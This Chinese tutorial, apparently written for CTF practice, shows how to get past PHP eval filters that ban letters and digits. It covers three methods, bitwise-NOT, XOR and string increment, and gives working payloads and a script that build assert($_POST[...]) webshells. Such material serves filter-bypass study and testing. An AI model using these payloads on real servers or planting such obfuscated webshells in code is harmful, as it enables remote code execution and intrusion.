即 eval 的代码中不能存在字母和数字。主要有 取反绕过、异或绕过、自增绕过。首先,要确定最终要执行的代码是什么。一般在 php5 中,可以构造 $a="assert";$a("eval($_REQUEST[1]);");
,而在 PHP7 中,可以先尝试 ("assert")("eval($_REQUEST[1]);");
,然后再尝试使用 (函数)(参数);
。之后,把字母和数字替换掉就行。接下来介绍三种替换方法。
即先对字符串取反,然后再取反,就回到原来的了。
<?php
echo urlencode(~"phpinfo");
?>
得到 %8F%97%8F%96%91%99%90
,那么构造 (~%8F%97%8F%96%91%99%90)()
就可以 phpinfo 了。同样的,将想要的字符串取反,就可以 RCE 了。
<?php
echo urlencode(~"assert");
echo "\n";
echo urlencode(~"eval($_POST[1])");
在php中,两个字符进行异或操作后,得到的依然是一个字符,所以说当我们想得到a-z中某个字母时,就可以找到两个非字母数字的字符,只要他们俩的异或结果是这个字母的 ASCII 码即可。
<?php
$_ = "!((%)("^"@[[@[\\"; //构造出assert
$__ = "!+/(("^"~{`{|"; //构造出_POST
$___ = $$__; //$___ = $_POST
$_($___[_]); //assert($_POST[_]);
也可以用 ${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])
。
具体和取反差不多。
$a="A"; 那么 $a++ 之后 $a 的值就变成了 "B"。而令 $_=''.[]
,$_
的值就是 "Array",再用 $_[$__]
就可以得到字母 "A"($__默认为 False,就是 0)。
<?php
$_=[].''; //得到"Array"
$___ = $_[$__]; //得到"A",$__没有定义,默认为False也即0,此时$___="A"
$__ = $___; //$__="A"
$_ = $___; //$_="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"S",此时$__="S"
$___ .= $__; //$___="AS"
$___ .= $__; //$___="ASS"
$__ = $_; //$__="A"
$__++;$__++;$__++;$__++; //得到"E",此时$__="E"
$___ .= $__; //$___="ASSE"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__;$__++; //得到"R",此时$__="R"
$___ .= $__; //$___="ASSER"
$__++;$__++; //得到"T",此时$__="T"
$___ .= $__; //$___="ASSERT"
$__ = $_; //$__="A"
$____ = "_"; //$____="_"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"P",此时$__="P"
$____ .= $__; //$____="_P"
$__ = $_; //$__="A"
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //得到"O",此时$__="O"
$____ .= $__; //$____="_PO"
$__++;$__++;$__++;$__++; //得到"S",此时$__="S"
$____ .= $__; //$____="_POS"
$__++; //得到"T",此时$__="T"
$____ .= $__; //$____="_POST"
$_ = $$____; //$_=$_POST
$___($_[_]); //ASSERT($POST[_])